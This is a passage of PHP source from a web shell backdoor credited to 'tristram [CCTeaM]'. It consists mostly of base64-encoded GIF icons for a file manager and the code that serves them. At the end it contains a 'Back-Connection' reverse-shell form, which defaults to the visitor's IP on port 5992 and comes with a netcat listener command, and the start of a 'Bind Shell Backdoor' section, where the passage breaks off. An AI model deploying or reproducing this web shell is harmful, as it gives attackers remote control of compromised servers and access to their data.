  2943. "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
  2944. "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
  2945. "sort_asc"=>
  2946. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
  2947. "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
  2948. "sort_desc"=>
  2949. "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
  2950. "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
  2951. "sql_button_drop"=>
  2952. "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2953. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2954. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2955. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2956. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2957. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2958. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2959. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2960. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2961. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2962. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2963. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2964. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2965. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
  2966. "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
  2967. "AQEAOw==",
  2968. "sql_button_empty"=>
  2969. "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2970. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2971. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2972. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2973. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2974. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2975. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2976. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2977. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2978. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2979. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2980. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2981. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2982. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
  2983. "AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
  2984. "sql_button_insert"=>
  2985. "R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
  2986. "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2987. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
  2988. "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
  2989. "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
  2990. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  2991. "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
  2992. "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
  2993. "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
  2994. "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
  2995. "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
  2996. "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
  2997. "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
  2998. "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  2999. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  3000. "up"=>
  3001. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  3002. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  3003. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  3004. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  3005. "write"=>
  3006. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  3007. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  3008. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  3009. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  3010. "ext_asp"=>
  3011. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  3012. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  3013. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  3014. "ext_mp3"=>
  3015. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  3016. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  3017. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  3018. "ext_avi"=>
  3019. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  3020. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  3021. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  3022. "ext_cgi"=>
  3023. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  3024. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  3025. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  3026. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  3027. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3028. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3029. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3030. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  3031. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  3032. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  3033. "RYtMAgEAOw==",
  3034. "ext_cmd"=>
  3035. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  3036. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  3037. "dmrYAMn1onq/YKpjvEgAADs=",
  3038. "ext_cpp"=>
  3039. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  3040. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  3041. "Eq7YrLDE7a4SADs=",
  3042. "ext_ini"=>
  3043. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  3044. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  3045. "SnEjgPVarHEHgrB43JvszsQEADs=",
  3046. "ext_diz"=>
  3047. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  3048. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  3049. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  3050. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  3051. "/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
  3052. "pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
  3053. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  3054. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  3055. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3056. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3057. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3058. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3059. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3060. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3061. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  3062. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  3063. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  3064. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  3065. "Ow==",
  3066. "ext_doc"=>
  3067. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  3068. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  3069. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  3070. "ext_exe"=>
  3071. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  3072. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  3073. "xhIAOw==",
  3074. "ext_h"=>
  3075. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  3076. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  3077. "Wq/NknbbSgAAOw==",
  3078. "ext_hpp"=>
  3079. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  3080. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  3081. "UqUagnbLdZa+YFcCADs=",
  3082. "ext_htaccess"=>
  3083. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  3084. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  3085. "AAA7",
  3086. "ext_html"=>
  3087. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  3088. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  3089. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  3090. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  3091. "ADs=",
  3092. "ext_jpg"=>
  3093. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  3094. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  3095. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  3096. "FxEAOw==",
  3097. "ext_js"=>
  3098. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  3099. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  3100. "a00AjYYBbc/o9HjNniUAADs=",
  3101. "ext_lnk"=>
  3102. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  3103. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  3104. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  3105. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  3106. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  3107. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3108. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3109. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  3110. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  3111. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  3112. "ADs=",
  3113. "ext_log"=>
  3114. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  3115. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  3116. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  3117. "ext_php"=>
  3118. "R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0OqpaGeyYpqJlRG/rlwAADs=",
  3119. "ext_pl"=>
  3120. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  3121. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  3122. "ext_swf"=>
  3123. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  3124. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  3125. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  3126. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  3127. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  3128. "ext_tar"=>
  3129. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  3130. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  3131. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  3132. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  3133. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3134. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3135. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3136. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  3137. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  3138. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  3139. "u4tLAgEAOw==",
  3140. "ext_txt"=>
  3141. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  3142. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  3143. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  3144. "ext_wri"=>
  3145. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  3146. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  3147. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  3148. "ext_xml"=>
  3149. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  3150. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  3151. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  3152. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  3153. "IQA7"
  3154. );
  3155. //Untuk optimalisasi ukuran dan kecepatan.
  3156. $imgequals = array(
  3157. "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  3158. "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  3159. "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  3160. "ext_html"=>array("ext_html","ext_htm"),
  3161. "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  3162. "ext_lnk"=>array("ext_lnk","ext_url"),
  3163. "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  3164. "ext_doc"=>array("ext_doc","ext_dot"),
  3165. "ext_js"=>array("ext_js","ext_vbs"),
  3166. "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  3167. "ext_wri"=>array("ext_wri","ext_rtf"),
  3168. "ext_swf"=>array("ext_swf","ext_fla"),
  3169. "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  3170. "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  3171. );
  3172. if (!$getall) {
  3173. header("Content-type: image/gif");
  3174. header("Cache-control: public");
  3175. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  3176. header("Cache-control: max-age=".(60*60*24*7));
  3177. header("Last-Modified: ".date("r",filemtime(__FILE__)));
  3178. foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  3179. if (empty($images[$img])) {$img = "small_unk";}
  3180. if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  3181. echo base64_decode($images[$img]);
  3182. }
  3183. else {
  3184. foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  3185. natsort($images);
  3186. $k = array_keys($images);
  3187. echo "<center>";
  3188. foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  3189. echo "</center>";
  3190. }
  3191. exit;
  3192. }
  3193. if ($act == "about") {
  3194. echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>tristram [CCTeaM]</b><br>Beta-testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br><br> Thanks all who report bugs<br>Please report bugs to <a href=\"mailto:email@email.com\">Tristram</a></b>";
  3195. }
  3196. if ($act == "backc") {
  3197. $ip = $_SERVER["REMOTE_ADDR"];
  3198. $msg = $_POST['backcconnmsg'];
  3199. $emsg = $_POST['backcconnmsge'];
  3200. echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>");
  3201. echo("$msg");
  3202. echo("$emsg");
  3203. }
  3204. if ($act == "shbd"){
  3205. $msg = $_POST['backcconnmsg'];
  3206. $emsg = $_POST['backcconnmsge'];
  3207. echo("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>
